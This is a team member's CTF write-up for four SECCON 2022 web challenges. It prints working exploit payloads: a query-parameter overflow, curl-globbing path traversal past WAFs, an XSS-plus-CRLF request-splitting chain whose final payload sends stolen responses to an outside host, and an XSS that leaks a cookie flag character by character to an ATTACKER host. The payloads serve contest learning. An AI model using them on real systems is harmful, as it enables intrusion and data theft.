2022 SECCON CTF Quals WriteUps
This CTF is my First one after I join Balsn, and this writeup is my first one in full english.
Balsn get the 16th place at the end.
I solved some web challenges with my idol ginoah. The challenges are awesome!
web
skipinx
This challenge is solved by teamate Peter Cheng . I reviewed it after the contest.
There is an nginx before the express.js server, and it pass non-urldecoded query string to the express.js server.
location / {
set $args "${args}&proxy=nginx";
proxy_pass http://web:3000;
}
The web server will return flag only if req.query.proxy
not include nginx
req.query.proxy.includes('nginx')
? res.status(400).send('Access here directly, not via nginx :(')
: res.send(`Congratz! You got a flag: ${FLAG}`)
According to code found by Peter Cheng, the qs
module, which express.js parse query string with, will only deal with first 1000 parameters, and the remain query string is ignored in req.query
. Thus, we can pass a query string with more than 1000 parameters, and the last part proxy=nginx
keep unparsed.
curl $(python -c 'print("http://target/?"+"proxy="+"q"*1000+"&a=b"*998+"&c=d")')
easylfi
The goal is to LFI /flag.txt
This flask app use curl to get a local file
proc = subprocess.run(
["curl", f"file://{os.getcwd()}/public/{filename}"],
capture_output=True,
timeout=1,
)
where filename is a path parameter
@app.route("/")
@app.route("/<path:filename>")
def index(filename: str = "index.html"):
Apparently, we need to traverse like ../../../../flag.txt
There are two WAFs. The first one filter filename with %
or ..
if ".." in filename or "%" in filename:
return "Do not try path traversal :("
Here, we use URL globbing to bypass the first WAF. {.}{.}/
equals to ../
, so
we can access flag.txt with {.}{.}/{.}{.}/flag.txt
The second WAF filter any response with content SECCON
@app.after_request
def waf(response: Response):
if b"SECCON" in b"".join(response.response):
return Response(b"Try harder")
return response
I found a logic flaw in validate
func used by custom template
func. We can substitue any string for {
, though the function is intented to allow only keys like {...}
for i, c in enumerate(key):
if i == 0:
is_valid &= c == "{"
elif i == len(key) - 1:
is_valid &= c == "}"
else:
is_valid &= c != "{" and c != "}"
But there's still a problem. We can only replace one {
now, and it is not enough to enclose SECCON
in curly brackets.
ginoah found that we can use {.,.}
to make the filename we curl reflected in the output. e.g.
$ curl 'file:///app/public/{.}{.}/{.}{.}/flag.tx{\{,t}'
--_curl_--file:///app/public/../../flag.tx{
--_curl_--file:///app/public/../../flag.txt
SECCON{dummydummy}
Now we have two {
, we can replace the output twice to eliminate string SECCON
by GET /{.}{.}/{.}{.}/flag.tx{\{,t}?{=}{&{%0a--
curl
--file:///app/public/../../flag.txt%0aSECCON}=FLAG
The original solution by ginoah is trickier and shorter than it. We can use query string in file://
protocol, though it takes no effect. The query string is revealed in the output e.g.
$ curl 'file:///app/public/{.}{.}/{.}{.,.}/flag.txt?\{'
--_curl_--file:///app/public/../../flag.txt?{
SECCON{dummydummy}
--_curl_--file:///app/public/../../flag.txt?{
SECCON{dummydummy}
Then, we can get the flag by
GET /{.}{.}/{.}{.}/{.}{.,.}/flag.txt%3f\{?{=}{&{%0aSECCON}=x
bffcalc
The service is full of proxies and composed of five components - nginx, bff, backend, report, bot
. I conclude that the normal user can use service in two way.
First way is normal browsing nginx URL / -> bff cherrypy proxies -> backend evalute parameter 'expr' and return
.
Another way is triggered by bot nginx URL /report -> report send to -> bot emulate as normal user, set cookie in site 'nginx:3000' and browse -> nginx URL / -> ...
There is an apparent XSS without any limitation when bot
browsing http://nginx:3000
with provided expr
, but we cannot access flag via only XSS since the FLAG is set in cookie with HTTPOnly flag.
The bff<->backend
proxy communication is implemented by custom socket, and it is apparently full of flaw. The first flaw is that cherrypy doesn't do urldecode for req.path_info
, so we have a CRLF injection in bff.
The second flaw is that custom socket recv at most 4096 bytes, then we have a HTTP Request Splitting. We can CRLF injection request and recieve all response at once.
It is important that bff
can only get expr
from query string, but backend
can get expr
from both body and query string. And if length of expr
is more than 50, backend
just return it without eval. (This is also why a XSS occured.)
Thus, the attack chain is XSS -> CRLF Injection POST request-> steal header behind expr
in body -> backend
reflect expr
-> recieve all response at once -> XSS to send out the FLAG. It works in my computer :D
Unfortunately, it doesn't work at remote. It stop at User-agent: ...X11
After hours of debug, a bright idea suddenly occurs (called 通靈 in chinese). We guess cherrypy parses body not only by &
, but also by;
. And it does. Remember that we can only get back the content in expr
, and it is truncated by ;
after X11
;_;. We found there are two ;
after expr
, one is in User-agent
, and the other is in Accept-language
For security reason, chrome disallow user to change some of headers, and User-agent
is one of those, but Accept-Lanuage
is not. We overwrite Accept-Lanuage
, and set a custom header, which is located after User-agent
. Thus, we can steal content after User-agent
.
This is the final payload.
POST /report HTTP/1.1
Host: bffcalc.seccon.games:3000
Content-Length: 553
Content-Type: application/x-www-form-urlencoded
expr=%3Cimg+src%3Dx+onerror%3D%22fetch%28%27http%3A%2F%2Fnginx%3A3000%2Fapi%2520HTTP%2F1.1%250d%250aConnection:keep-alive%250d%250aHost%3Anginx%3A3000%250d%250a%250d%250aPOST%2520%2F%2520HTTP%2F1.1%250d%250aHost%3Alocalhost%3A3000%250d%250aContent-type%3Aapplication%2Fx-www-form-urlencoded%250d%250aContent-length%3A475%250d%250a%250d%250aexpr%3d%27,{headers:{aaa:'%3bexpr%3d','Accept-Language':'en-us'}}%29.then%28r%3D%3E%28r.text%28%29%29%29.then%28r%3D%3E%7Blocation.href%3D%27http%3A%2F%2Fcjis.ooo%3A4445%2F%27%2Bbtoa%28r%29%7D%29%22%3E%3C%2Fimg%3E
piyosay
This was solved by ginoah when i was asleep.
It is a XSS challenge, and FLAG is set in Cookie without HTTPOnly.
We can control two parameter message
and emoji
, and any assignment to innerHTML will be applied with trustedTypes default policy
trustedTypes.createPolicy("default", {
createHTML: (unsafe) => {
return DOMPurify.sanitize(unsafe)
.replace(/SECCON{.+}/g, () => {
// Delete a secret in RegExp
"".match(/^$/);
return "SECCON{REDACTED}";
});
},
});
It sanitize input and replace any string like /SECCON{.+}/g
. And also do regex again to clean up secret in RegExp like RegExp.$_, RegExp.['$+']...
.
Cookie is appended after message
and deleted immediately. Assign message.innerHTML
with santized message
and then assign again with sanitized and replaced emoji
.
const main = async () => {
const params = new URLSearchParams(location.search);
const message = `${params.get("message")}${
document.cookie.split("FLAG=")[1] ?? "SECCON{dummy}"
}`;
// Delete a secret in document.cookie
document.cookie = "FLAG=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
get("message").innerHTML = message;
const emoji = get(params.get("emoji"));
get("message").innerHTML = get("message").innerHTML.replace(/{{emoji}}/g, emoji);
};
get
func has a apparent object traversal problem when input is controllable, just like const emoji = get(params.get("emoji"));
. And everyone knows, we can traverse any Node
element to document
via ownerDocument
and any Document
element to window
via defaultView
.
const get = (path) => {
return path.split("/").reduce((obj, key) => obj[key], document.all);
};
So, what should we traverse to via emoji
to get back our eliminated FLAG?
ginoah found that DOMPurify will saved removed part in DOMPurify.removed
. And we trick DOMPurify to remove SECCON{.+}
before it is replaced. Set message=<img src=http://attacker/{{emoji}}><script>
and we get back FLAG via emoji=0/ownerDocument/defaultView/DOMPurify/removed/0/element/innerText/${i}
. It replace {{emoji}}
with the i-th char of FLAG, so we can leak FLAG char by char.
Final payload.
http://target/result?emoji=0/ownerDocument/defaultView/DOMPurify/removed/0/element/innerText/${i}&message=%3Cimg%20src=http://ATTACKER/{{emoji}}%3E%3Csciprt%3E
There are some interesting solution from others writeups.
@huli use the trick that when parent and iframe
are cross-site, iframe
cannot manipulate document.cookie
, no matter read/write. Then get FLAG from top.opener.document.cookie
@tyage use an apparent(?) XSS payload and also the immutable cookie trick in iframe
. My ancestor said that it is dangerous to do any string manipulation after DOMPurify.sanitize, and we just overlook it lol.